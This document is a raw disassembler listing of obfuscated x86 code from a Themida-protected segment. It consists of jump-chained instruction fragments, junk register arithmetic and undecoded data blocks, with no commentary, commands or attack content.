dd 63C38166h, 0C0B70F32h, 4A156866h, 24048966h, 0FFC8EDE9h
dd 4393BEFFh, 0F1E9501Fh, 66FFFFEAh, 0B4240489h, 66E1881Bh
dd 0E9CA3058h, 0FFFF911Ch, 585AB850h, 0E0C15435h, 46232D08h
dd 88056BABh, 0E978012Eh, 0FFFF7833h, 815BDE01h, 26AA8EBh
dd 8C39E902h, 0D9F70000h, 5930C981h, 47E924E7h
db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F373: ; CODE XREF: Themida_:00553260j
sub ebx, 71BF73C5h
jmp loc_567205
; ---------------------------------------------------------------------------
aX313LTsj db ')гX3<$1<$3<$▀$$TИ├ ',0
db 0
; ---------------------------------------------------------------------------
loc_55F393: ; CODE XREF: Themida_:00559EB7j
push ebx
jmp loc_560504
; ---------------------------------------------------------------------------
db 89h, 0E3h, 0E9h
dd 0FFFF5CCEh
; ---------------------------------------------------------------------------
loc_55F3A0: ; CODE XREF: Themida_:005626A7j
mov [esp], esi
push 5588Ch
pop esi
sub esp, 4
mov [esp], edi
push ebx
mov ebx, 442F54E4h
sub ebx, 4434AD6Fh
mov edi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
mov eax, edi
mov edi, [esp]
push 1457h
jmp loc_567CC2
; ---------------------------------------------------------------------------
loc_55F3D3: ; CODE XREF: Themida_:00567285j
sub esp, 4
mov [esp], ecx
push 11AB6E8Ah
pop ecx
push ecx
not dword ptr [esp]
jmp loc_55455E
; ---------------------------------------------------------------------------
dd 4C281h, 0EA830000h, 24148704h, 241C895Ch, 6B6C67BBh
dd 58C38127h, 530750DAh, 8B30428Fh, 8952241Ch, 4C281E2h
dd 0E9000000h, 0FFFF56D5h
; ---------------------------------------------------------------------------
loc_55F418: ; CODE XREF: Themida_:0055AC62j
add ebp, 7FFC6CFCh
neg ebp
shr ebp, 2
sub ebp, 0A03B6222h
sub eax, 1C3726BEh
jmp loc_55E880
; ---------------------------------------------------------------------------
loc_55F433: ; CODE XREF: Themida_:00556641j
push dword ptr [esp]
mov eax, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
push esi
mov esi, 16660BD0h
push edx
push 7024h
jmp loc_562220
; ---------------------------------------------------------------------------
aYIsJ db ')мY)КИнJ',0
db 0
; ---------------------------------------------------------------------------
loc_55F45F: ; CODE XREF: Themida_:00553446j
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_556891
; ---------------------------------------------------------------------------
dd 0B450C7B3h, 58E30894h, 6643E380h, 0E9102C68h, 0FFFF7191h
dd 5A2414F7h, 0DCBF281h, 0D0290EEBh, 2D60E95Ah
db 2 dup(0), 5Ah
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_5643EF
; ---------------------------------------------------------------------------
db 0FFh
dd 3C8B2434h, 4C48124h, 83000000h, 0C38904C4h, 0FF3E0BE9h
dd 2BE56FFh, 0E9000000h, 22C6h
; ---------------------------------------------------------------------------
loc_55F4C4: ; CODE XREF: Themida_:00554BC8j
add ebx, 4
push edx
jmp loc_5587C5
; ---------------------------------------------------------------------------
dd 8104C483h, 4ECh, 6E95E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F4DE: ; CODE XREF: Themida_:00557EACj
add esp, 4
add [edi+24h], esi
push dword ptr [esp]
mov esi, [esp]
push eax
jmp loc_55EE80
; ---------------------------------------------------------------------------
loc_55F4F0: ; CODE XREF: Themida_:00557FDAj
mov [esp], ebx
mov ebx, 343A31E3h
sub esp, 4
jmp loc_56305B
; ---------------------------------------------------------------------------
dd 5366D000h, 0E9527EB7h, 0FFFF9A7Ch, 24048F5Ah, 6624248Bh
dd 0E9240C8Bh, 3FC0h
; ---------------------------------------------------------------------------
loc_55F51C: ; CODE XREF: Themida_:0055C1D5j
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_565C82
; ---------------------------------------------------------------------------
loc_55F528: ; CODE XREF: Themida_:0056127Aj
xchg ebp, [esp]
mov esp, [esp]
push ebx
jmp loc_564635
; ---------------------------------------------------------------------------
dword_55F534 dd 9C241CF7h, 0FF367EE9h, 0F3895FFFh, 5E68E95Eh
; DATA XREF: Themida_:00552AD0o
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F546: ; CODE XREF: Themida_:00554A47j
dec cl
xor cl, 0F0h
push bx
mov bl, 8Ah
add cl, bl
pop bx
push eax
jmp loc_55D5A4
; ---------------------------------------------------------------------------
db 0BAh, 0D7h, 47h
dd 0D12950E9h, 0E924148Bh, 0FFFFDDCCh, 6EA2F681h, 8156423Bh
dd 135F2434h, 815A3D38h, 38135FF2h, 57095E3Dh, 2434FF1Ch
dd 3AFCE9h
db 0
; ---------------------------------------------------------------------------
loc_55F589: ; CODE XREF: Themida_:005548F3j
sub esp, 4
jmp loc_55BD16
; ---------------------------------------------------------------------------
loc_55F591: ; CODE XREF: Themida_:00562DDEj
mov edi, 7D725795h
sub edi, 56421842h
sub edi, 49740A2h
jmp loc_559E46
; ---------------------------------------------------------------------------
loc_55F5A7: ; CODE XREF: Themida_:005543CDj
add ebx, 1
and ebx, 30B52023h
add ebx, 0CDA4966h
sub ebx, 1D8A456Bh
jmp loc_55B195
; ---------------------------------------------------------------------------
db 5Dh, 56h, 0BEh
dd 6B2535DBh, 0FF5EF729h, 50582434h, 0B951E089h, 41C84391h
dd 438DE981h, 0C80141C8h, 83240C8Bh, 0C08304C4h, 24048704h
dd 8324248Bh, 2C8904ECh, 2BD24h, 0EF010000h, 74FF575Dh
dd 8F5F0424h, 248B2404h, 43E924h, 8B540000h, 54522414h
dd 86DEE9h
db 0
; ---------------------------------------------------------------------------
loc_55F619: ; CODE XREF: Themida_:005556CDj
xor edi, edx
jmp loc_5543E9
; ---------------------------------------------------------------------------
dd 8102EDC1h, 63F819EDh, 5DE829F1h, 0EF05F801h, 0FF284B5Dh
dd 0E95F2434h, 7905h
; ---------------------------------------------------------------------------
loc_55F63C: ; CODE XREF: Themida_:00554257j
push 38B2h
mov [esp], edx
jmp loc_555AD2
; ---------------------------------------------------------------------------
loc_55F649: ; CODE XREF: Themida_:0055E8ECj
add esp, 4
jmp loc_56499F
; ---------------------------------------------------------------------------
db 66h, 21h, 4
dd 60E99C24h, 0F7FFFF35h, 8ACE81DEh, 0E95C4922h, 0FFFFE84Bh
; ---------------------------------------------------------------------------
loc_55F668: ; CODE XREF: Themida_:00567D3Aj
sub edx, esi
pop esi
xor eax, edx
mov edx, [esp]
add esp, 4
push edi
mov edi, 1E675C4Ah
sub esp, 4
mov [esp], edx
jmp loc_5578C2
; ---------------------------------------------------------------------------
db 89h
dd 74FF241Ch, 0E4E90424h
db 49h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F693: ; CODE XREF: Themida_:00568057j
pop ebx
add ebx, 4
jmp loc_561555
; ---------------------------------------------------------------------------
aBxlf db '│Е▀f',0
dd 53D5F720h, 0AABA5257h, 0F7519B7Ah, 14F281DAh, 89E8A7A0h
dd 0F7815AD7h, 47290815h, 0FF4C3CE9h, 240C89FFh, 0B875A1B9h
dd 0FFF18113h, 2D276D6Dh, 1DB31BF5h, 246FBF57h, 0C62D3B37h
dd 29500A28h, 59F4E9F8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F6EA: ; CODE XREF: Themida_:0056661Bj
pop esp
jmp loc_558A54
; ---------------------------------------------------------------------------
loc_55F6F0: ; CODE XREF: Themida_:00565552j
mov ecx, 6E4B062Ah
jmp loc_557EC9
; ---------------------------------------------------------------------------
loc_55F6FA: ; CODE XREF: Themida_:00560B12j
pop ecx
sub [esp+8], ecx
jmp loc_55E543
; ---------------------------------------------------------------------------
dd 42BBBD55h, 0C581442Ch, 0EDBCE3B1h, 0CAE9E909h
db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F717: ; CODE XREF: Themida_:0055E4EEj
mov [esp], esi
push 1B1Ch
mov [esp], esp
push ebp
push edx
mov edx, 76F45F5h
push eax
push ecx
mov ecx, 6B2A14DFh
xor ecx, 6C455126h
mov eax, ecx
mov ecx, [esp]
add esp, 4
mov ebp, eax
pop eax
sub ebp, edx
pop edx
add dword ptr [esp+4], 2F7A66FCh
add [esp+4], ebp
jmp loc_55DAF2
; ---------------------------------------------------------------------------
loc_55F758: ; CODE XREF: Themida_:0055C8D8j
sub esp, 4
jmp loc_55A37B
; ---------------------------------------------------------------------------
loc_55F760: ; CODE XREF: Themida_:005636BEj
mov ebp, esp
add ebp, 4
push edi
jmp loc_56317A
; ---------------------------------------------------------------------------
word_55F76E dw 77FFh ; DATA XREF: Themida_:00552998o
dd 11589D1Ch, 0E99C2404h, 0FFFF343Fh, 0EC81E389h, 4, 28BEE9h
dd 80C18000h, 52FFE980h, 0E280F9B2h, 80C2FE0Ch, 0C28073E2h
dd 0B36AE98Ch, 0C781FFFFh, 4, 2F3FE9h
db 0
; ---------------------------------------------------------------------------
loc_55F7AD: ; CODE XREF: Themida_:00552EFEj
mov [esp], edx
not dword ptr [esp]
pop edx
sub edx, 1
xor edx, 0B8E7CA4Ah
mov ecx, edx
pop edx
push 0
sub dword ptr [esp], 0CC10F7h
sub [esp], ecx
add dword ptr [esp], 0CC10F7h
pop ecx
push 0C33h
mov [esp], ebx
mov ebx, 0F6E40DBh
not ebx
sub ebx, 33450C6Bh
and ebx, 1CE71D4Eh
neg ebx
inc ebx
sub ebx, 2E774B41h
sub ecx, ebx
pop ebx
add edx, ecx
mov ecx, [esp]
add esp, 4
push eax
mov eax, 4
add edx, eax
jmp loc_558DFF
; ---------------------------------------------------------------------------
loc_55F816: ; CODE XREF: Themida_:00565336j
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_566620
; ---------------------------------------------------------------------------
db 57h
dd 42474FFh, 24048F5Fh, 0E924248Bh, 8331h
dword_55F838 dd 0FF2434FFh, 0E9592434h, 59D5h ; DATA XREF: Themida_:00552A0Co
; ---------------------------------------------------------------------------
loc_55F844: ; CODE XREF: Themida_:00557985j
mov ecx, 363B29Eh
add ecx, eax
pop eax
shl ecx, 5
shr ecx, 6
jmp loc_566E60
; ---------------------------------------------------------------------------
db 56h
dd 0BEh, 6CC68100h, 29031955h, 6CEE81EEh, 0E9031955h, 0FFFFC061h
dd 1C7835Fh, 8104E7C1h, 0CE1BAAC7h, 0E950977Ah, 0FFFFC138h
; ---------------------------------------------------------------------------
loc_55F884: ; CODE XREF: Themida_:0055B249j
add ebx, 16FB3452h
shr ebx, 3
jmp loc_5593CB
; ---------------------------------------------------------------------------
loc_55F892: ; CODE XREF: Themida_:0055CEE5j
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
jmp loc_556BBA
; ---------------------------------------------------------------------------
db 0BFh
dd 0EF33C780h, 48BC701h, 4C48324h, 555FFD01h, 42474FFh
dd 13AAE9h, 81E58900h, 4C5h, 4ED8300h, 77C3E9h, 34FF5400h
dd 89575A24h, 4C781E7h, 83000000h, 3C8704C7h, 0BB535C24h
dd 38793CB8h, 0DBF74B4Bh, 785FE381h, 20E96A33h, 8B000053h
dd 0CD22424h, 0B8E99C24h, 0F7FFFF32h, 81CA87D1h, 4A1E83C2h
dd 0FFD3016Fh, 535A2434h, 0FDE9E389h
db 4Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F91B: ; CODE XREF: Themida_:0056664Dj
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_55DB8C
; ---------------------------------------------------------------------------
db 29h
dd 34875AD6h, 3C895C24h, 555F5424h, 4BDh, 2530E900h, 70E90000h
db 32h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F94B: ; CODE XREF: Themida_:00554208j
push edi
mov edi, esp
push ebp
mov ebp, 308E5F04h
dec ebp
or ebp, 5BAB69D6h
add ebp, 8450802Dh
sub edi, 0EE82027h
add edi, ebp
add edi, 0EE82027h
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_557185
; ---------------------------------------------------------------------------
dw 5366h
dd 0D3F6C388h, 2DE9D888h, 68FFFFF7h, 28FEh, 0E9241C89h
dd 0FFFF5467h
dword_55F9A0 dd 0E92434FFh, 0FFFF4A00h ; DATA XREF: Themida_:00552954o
; ---------------------------------------------------------------------------
loc_55F9A8: ; CODE XREF: Themida_:0055ED03j
add ebx, ebp
pop ebp
add ebx, edi
sub ebx, 54F52125h
push dword ptr [ebx]
pop eax
push dword ptr [esp]
jmp loc_554470
; ---------------------------------------------------------------------------
loc_55F9BE: ; CODE XREF: Themida_:00566829j
add edi, 4
jmp loc_56675D
; ---------------------------------------------------------------------------
dw 0E289h
dd 4C281h, 0B8500000h, 47114EA2h, 31E9D8F7h
db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F9DB: ; CODE XREF: Themida_:0055CBB4j
mov edi, esp
push ebx
mov ebx, 531D10D3h
push edi
jmp loc_56220A
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 50000000h, 0C688C888h, 0EE285958h, 369E9h, 24348900h
dd 4BEh, 9FC28100h, 814BB925h, 0E77CC3EAh, 81F2015Ch, 0E77CC3C2h
dd 6852575Ch, 669F6D1Bh, 8324148Bh, 0EA8104C4h, 0F70B67A3h
dd 69E9D789h
db 28h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55FA33: ; CODE XREF: Themida_:005616DDj
sub esp, 4
mov [esp], eax
jmp loc_567E01
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 0FF24248Bh, 34FF2434h, 24048B24h, 4C481h, 0C4830000h
dd 6EE95204h, 89FFFFFEh, 83BA2414h, 810CED5Eh, 0B9AA0DC2h
dd 34206812h, 34890000h, 59BB5324h, 0E9072024h, 0FFFFF69Bh
dd 8769E95Dh, 3158FFFFh, 243C8BFAh, 2D04C483h, 2CB0615Ch
dd 0FF6363E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FA99: ; CODE XREF: Themida_:00560D0Bj
push ecx
push ebp
push ebx
mov ebx, 27EE6BADh
shr ebx, 5
jmp loc_55580A
; ---------------------------------------------------------------------------
db 56h, 68h, 72h
dd 5E549164h, 0FFAF13E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FAB5: ; CODE XREF: Themida_:00552D85j
add esp, 4
mov edx, ebp
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add ecx, edx
mov edx, [esp]
add esp, 4
jmp loc_565006
; ---------------------------------------------------------------------------
dd 2474FF57h, 2434FF04h, 8B2434FFh, 46E9243Ch, 9000070h
dd 34FF1C47h, 2434FF24h, 4C48158h, 83000000h, 0C8904ECh
dd 4EC8324h, 83242489h, 59042404h, 4BE56h, 0C1810000h
dd 78BF461Fh, 0E981F101h, 78BF461Fh, 0E92434FFh, 0FFFFDF9Dh
dd 0E9243C33h, 0FFFF4C87h
; ---------------------------------------------------------------------------
loc_55FB38: ; CODE XREF: Themida_:0055322Cj
pop eax
jmp loc_554E94
; ---------------------------------------------------------------------------
dw 592Dh
dd 297EA550h, 505905F8h, 15F7EA5h, 4EC81E8h, 89000000h
dd 7CE92414h
db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FB5B: ; CODE XREF: Themida_:0055D69Bj
pop esp
not edx
inc edx
shr edx, 2
add edx, 0FFFFFFFFh
add edx, 0EF913D7Dh
loc_55FB6E: ; CODE XREF: Themida_:00562C56j
; Themida_:loc_5668CFj
push dword ptr [edi+24h]
jmp loc_55D8BD
; ---------------------------------------------------------------------------
loc_55FB76: ; CODE XREF: Themida_:00566B9Bj
mov edx, [esp]
push edx
push esp
jmp loc_556E54
; ---------------------------------------------------------------------------
loc_55FB80: ; CODE XREF: Themida_:00555B39j
add esp, 4
or eax, eax
jmp loc_55E22C
; ---------------------------------------------------------------------------
db 51h, 0E9h, 0EDh
dd 52FFFF84h, 78E4E954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FB9A: ; CODE XREF: Themida_:00557D6Bj
mov ch, 13h
mov dh, 54h
xor dh, ch
jmp loc_563069
; ---------------------------------------------------------------------------
loc_55FBA5: ; CODE XREF: Themida_:00567D2Aj
mov ecx, 48110C34h
push edi
mov edi, 5D5D07B6h
neg edi
inc edi
or edi, 17DF0219h
sub edi, 5F8CB949h
xor ecx, edi
jmp loc_55F1EB
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 0FF8F0DE9h, 7E5605FFh, 0BE5674E8h, 6BB83C77h, 0E907E6C1h
dd 0FFFFB1B0h
; ---------------------------------------------------------------------------
loc_55FBE4: ; CODE XREF: Themida_:00559D14j
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_564EDF
; ---------------------------------------------------------------------------
loc_55FBFB: ; CODE XREF: Themida_:0055EC99j
add al, 9Dh
mov ecx, [esp]
add esp, 4
add bl, 7Dh
add bl, 53h
jmp loc_55D120
; ---------------------------------------------------------------------------
loc_55FC11: ; CODE XREF: Themida_:00561D18j
mov esp, [esp]
mov [esp], ebx
mov ebx, 28h
push 7BEh
jmp loc_560188
; ---------------------------------------------------------------------------
dw 460Ch
dd 0B00C0904h, 0E0C0E8D0h, 0D0C83406h, 404CE9E8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FC3A: ; CODE XREF: Themida_:0055619Bj
sub esi, 3F7A7C19h
mov edx, [esp]
push ecx
mov ecx, esp
jmp loc_554417
; ---------------------------------------------------------------------------
loc_55FC4B: ; CODE XREF: Themida_:0055EEB5j
push small 3117h
mov [esp], ax
jmp loc_552BBB
; ---------------------------------------------------------------------------
dd 0C20E08BAh, 54C28154h, 0C13C894Fh, 0C28107E2h, 54A02E99h
dd 236BC281h, 0D30105B1h, 44B8505Ah, 0F73AEC54h, 0ABB82DD8h
dd 0C301C513h, 168E958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55FC8A: ; CODE XREF: Themida_:005585D0j
xor edx, 94C5304Fh
mov eax, edx
mov edx, [esp]
add esp, 4
sub eax, 3538341Eh
add edx, eax
pop eax
push 5555h
mov [esp], eax
mov eax, 761D0D47h
shr eax, 2
xchg eax, ebx
not ebx
xchg eax, ebx
push esi
jmp loc_552FCE
; ---------------------------------------------------------------------------
loc_55FCBD: ; CODE XREF: Themida_:0055E386j
mov ebp, 6D304436h
or ebp, 7CD07637h
inc ebp
xor ebp, 7DF0763Ch
add ebx, ebp
pop ebp
xchg ebx, [esp]
jmp loc_563AB0
; ---------------------------------------------------------------------------
aQsai db 'QИ²I',0
align 10h
aXbuH db 'X│Н',0Ah
db 'h',0
dw 105h
dd 4EE95EF1h, 81000016h, 85096FF6h, 8EEC114h, 6E91BD55h
dd 0EE014902h, 12F3E95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55FD06: ; CODE XREF: Themida_:00567125j
xor ah, 0
sub dl, ah
pop eax
jmp loc_55E5BC
; ---------------------------------------------------------------------------
db 2Ch, 0FCh, 50h
a5aX db '╢5─цx',0
aUaixx db 'Ц─КxX',0
aAi5xsU db 'ц─К5XИгU',0
align 2
dw 2C8Bh
dd 4C48124h, 0E9000000h, 0FFFFB1DFh, 4C481h, 0F2010000h
dd 0E904EC83h, 0FFFFF3C3h
; ---------------------------------------------------------------------------
loc_55FD48: ; CODE XREF: Themida_:005672A7j
pop esi
add ebx, 4
xchg ebx, [esp]
pop esp
sub edi, esi
pop esi
and eax, edi
pop edi
push dword ptr [edi+1Ch]
push 16E8h
mov [esp], edx
jmp loc_5632F3
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 0FBE95524h, 5DFFFFB2h, 5304C483h, 7A4BE9h, 243C8900h
dd 0FF6D0CE9h, 9FBB53FFh, 0E9075A56h, 6F6Ch, 2ECFC281h
dd 32E97AA7h, 0FF00002Ch, 0E9042474h, 9Ah, 462EE81h, 0F701FA28h
dd 24422D5Eh, 0F829577Ah, 34B1E9h, 2C48300h, 5D2434FFh
dd 4C481h, 1660000h, 0DA2D66D8h, 0E0895057h, 405h, 42D00h
dd 6E90000h, 0FFFFFF89h, 1BE92434h, 33FFFF7Dh, 14312414h
dd 24143324h, 77BDE95Ch, 1C870000h, 24248B24h, 3304C583h
dd 2C31242Ch, 242C3324h, 0FF54CEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FE09: ; CODE XREF: Themida_:00556F3Aj
add eax, 4
jmp loc_55D507
; ---------------------------------------------------------------------------
loc_55FE13: ; CODE XREF: Themida_:00559164j
push dword ptr [esp]
jmp loc_55B753
; ---------------------------------------------------------------------------
db 81h
dd 7A4EBBEAh, 5AD101CAh, 31240C33h, 0C0E9240Ch, 50FFFF9Fh
dd 1A65DFB8h, 55A8E96Ah, 0E95A0000h, 3704h
; ---------------------------------------------------------------------------
loc_55FE40: ; CODE XREF: Themida_:00561785j
mov esi, [esp]
add esp, 4
sub eax, 6406DD2h
add edi, eax
mov eax, [esp]
jmp loc_55DAAF
; ---------------------------------------------------------------------------
dd 96D8F759h, 0F0E9DEF7h, 8B00002Eh, 0B8502424h, 4, 0FF4991E9h
dd 4EA81FFh, 33000000h, 14312414h, 24143324h, 8924248Bh
dd 0EC832404h, 8C9AE904h, 0B42CFFFFh, 69E97E2Ch
db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FE97: ; CODE XREF: Themida_:005568BFj
add eax, 4
jmp loc_566402
; ---------------------------------------------------------------------------
db 81h, 0C3h, 4
dd 50000000h, 4B8h, 58C30100h, 8B241C87h, 0E92424h
db 2Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FEBB: ; CODE XREF: Themida_:005576C4j
xor edi, 0F8928864h
add ebp, edi
jmp loc_55BADF
; ---------------------------------------------------------------------------
dd 4F2CD828h, 241C8B66h, 0FF816AE9h, 4C781FFh, 0E9000000h
dd 0FFFFB674h, 1EE9DA89h, 81000057h, 4ECh, 24048900h, 405E089h
dd 5000000h, 4, 443CE950h, 4050000h, 5000000h, 4, 2474FF50h
dd 24048B04h, 8F04C483h, 305C2404h, 52515AF0h, 0C3E5E951h
db 2 dup(0FFh)
word_55FF26 dw 0C868h ; DATA XREF: Themida_:0055290Co
dd 0E9000004h, 69E5h, 5CF7815Fh, 57044370h, 243C8B58h
dd 0E904C483h, 0FFFFF3B1h, 0F181D1F7h, 275121EAh, 5468C981h
dd 0F181492Eh, 87E8DAABh, 0E959C821h, 45DFh, 4EC81h, 24890000h
dd 24048324h, 2CE95804h, 0B9FFFFC4h, 69635A5Fh, 0EAE9CD01h
dd 8F000081h, 76E92404h
db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FF87: ; CODE XREF: Themida_:00567B3Dj
mov dl, 2Ch
dec dl
jmp loc_553858
; ---------------------------------------------------------------------------
dd 7141C581h, 0EE012561h, 0E92434FFh, 0FFFF39DAh, 8B241433h
dd 0F7662424h, 706866F9h, 14896669h, 457EE924h, 2966FFFFh
dd 0E95E66F3h, 0FFFF95EFh
; ---------------------------------------------------------------------------
loc_55FFC0: ; CODE XREF: Themida_:005548FFj
pop edx
xor ebp, 583627A8h
jmp loc_55BDC3
; ---------------------------------------------------------------------------
dd 5C241433h, 9C2424D3h, 0FF2BE2E9h, 4C481FFh, 51000000h
dd 0C1815954h, 4, 8704C183h, 248B240Ch, 24048F24h, 2404895Ch
dd 0FF2BBEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FFFD: ; CODE XREF: Themida_:005542C4j
push eax
jmp loc_554F82
; ---------------------------------------------------------------------------
db 66h
dd 9C2404FFh, 0FF2BAEE9h, 24148BFFh, 4EC81h, 4890000h
dd 0E9E08924h, 0FFFFC8FBh, 0C1701AB9h, 9EBE560Ch, 0E906A05Dh
dd 0FFFF8D90h
dword_560030 dd 582434FFh, 227268h, 242C8900h, 7DE868h, 24248900h, 4240483h
; DATA XREF: Themida_:00552B38o
dd 4C5815Dh, 57000000h, 0C781E789h, 4, 0E904EF83h, 246Dh
; ---------------------------------------------------------------------------
loc_560060: ; CODE XREF: Themida_:00559A28j
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add esp, 4
or eax, eax
jnz loc_562FC9
push 53E0h
mov [esp], edi
jmp loc_558568
; ---------------------------------------------------------------------------
word_5600A2 dw 0E9ADh ; DATA XREF: Themida_:00552938o
dd 0FFFFBA2Dh
; ---------------------------------------------------------------------------
loc_5600A8: ; CODE XREF: Themida_:00563F52j
mov ebx, 42563300h
add edx, ebx
pop ebx
sub edx, 127443D1h
jmp loc_559764
; ---------------------------------------------------------------------------
db 0BFh
dd 4BCE6B65h, 31949FBBh, 5FFB01B4h, 4966C281h, 0BF5737D0h
dd 56A8126Ch, 3C8BFA29h, 4C48324h, 0C281DA01h, 56A8126Ch
dd 4966EA81h, 0E9E937D0h
db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5600EF: ; CODE XREF: Themida_:0056658Aj
or ebp, 41FB1385h
sub ebp, 575FE1C0h
sub edx, ebp
pop ebp
sub edx, 14D37F95h
add edx, ebp
add edx, 14D37F95h
push eax
mov eax, 72BD3608h
jmp loc_557A19
; ---------------------------------------------------------------------------
db 5Eh
dd 0F8240481h, 292E1B4Fh, 0AA68241Ch, 8900007Bh, 0F8BF243Ch
dd 0E92E1B4Fh, 4B28h
; ---------------------------------------------------------------------------
loc_560134: ; CODE XREF: Themida_:00561532j
sub esp, 4
jmp loc_55CBA9
; ---------------------------------------------------------------------------
db 80h
dd 0F780A6CFh, 5BF9886Bh, 0C8BCB88h, 4C48324h, 0E92EB450h
dd 795Eh, 4FE9C389h
db 2Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56015F: ; CODE XREF: Themida_:0055D502j
mov ebp, 0
jmp loc_557345
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 0EBC063B3h, 2A686606h, 5A93E94Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56017A: ; CODE XREF: Themida_:005565DBj
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_564047
; ---------------------------------------------------------------------------
loc_560188: ; CODE XREF: Themida_:0055FC21j
mov [esp], ebp
jmp loc_553A68
; ---------------------------------------------------------------------------
dd 5935F381h, 1B683FB6h, 0E9000026h, 2294h, 24132468h
dd 9E95912h
db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5601AB: ; CODE XREF: Themida_:00564199j
pop ebx
push esi
mov esi, esp
add esi, 4
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
jmp loc_564A0E
; ---------------------------------------------------------------------------
dw 0CD81h
dd 0F840211h, 0FF9640E9h, 1AC381FFh, 1688212h, 1AEB81C3h
dd 0FF688212h, 51582434h, 0BA52E189h, 4, 7322E9h, 19B85000h
dd 89AA0051h, 0C38158C7h, 4CAB1899h, 6697EB81h, 0F8E90137h
dd 5B00007Fh, 8B24048Fh, 14892424h, 313C6824h, 0E6E90000h
dd 0E900001Ah, 0FFFF297Fh, 3024248Bh, 0E99C2404h, 0FFFF2973h
dd 5359CE01h, 5E38A4BBh, 5EC38175h, 18AA1C7h, 241C8BDEh
dd 4C481h, 34330000h, 24343124h, 0E9243433h, 0FFFFA2D1h
dd 24048F54h, 4BD5550h, 0E9000000h, 5244h, 75C5EB81h, 55E93512h
db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56028B: ; CODE XREF: Themida_:00558525j
pop ebp
add ebx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
add ebx, 3E702648h
push 649Fh
mov [esp], ecx
push eax
push 0C095A99h
mov eax, [esp]
add esp, 4
push ecx
mov ecx, 62586B73h
or ecx, 52EB49E3h
sub ecx, 1EF00BE6h
push ecx
dec dword ptr [esp]
pop ecx
sub ecx, 1
push ebp
mov ebp, 60017382h
xor ebp, 6B4F2D5Bh
shr ebp, 6
or ebp, 42E60F5Bh
add ebp, 12A82DBFh
sub ecx, ebp
mov ebp, [esp]
add esp, 4
sub esp, 4
jmp loc_5676ED
; ---------------------------------------------------------------------------
db 68h
dd 16A3h, 0B8240489h, 7DE869ECh, 8904EC83h, 0AAE92434h
db 7Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56031B: ; CODE XREF: Themida_:00554DF0j
add ebp, 1
sub ebp, 0A14EC0E7h
mov ebx, ebp
pop ebp
shl ebx, 6
jmp loc_563F1D
; ---------------------------------------------------------------------------
loc_560332: ; CODE XREF: Themida_:005606F7j
mov edi, [esp]
add esp, 4
xor ecx, 266C2BF9h
jmp loc_554FC2
; ---------------------------------------------------------------------------
loc_560346: ; CODE XREF: Themida_:0055E0D7j
xor esi, 3B2844BFh
xor esi, 7E290C5Fh
xor eax, esi
jmp loc_557C1F
; ---------------------------------------------------------------------------
loc_560359: ; CODE XREF: Themida_:00565B74j
mov ebx, [esp]
add esp, 4
push 10AFh
mov [esp], ebx
jmp loc_56255D
; ---------------------------------------------------------------------------
byte_56036F db 8Bh ; DATA XREF: Themida_:00552944o
dd 0EC832404h, 24148904h, 68F468h, 4EC8300h, 83242489h
dd 0E9042404h, 0FFFFFBF3h, 0C581E589h, 4, 4C581h, 2C870000h
dd 0FB685C24h, 89000009h, 0E2892414h, 556468h, 1B9BE900h
dd 0C330000h, 53CBE924h, 835D0000h, 93E904C4h
db 42h, 2 dup(0)
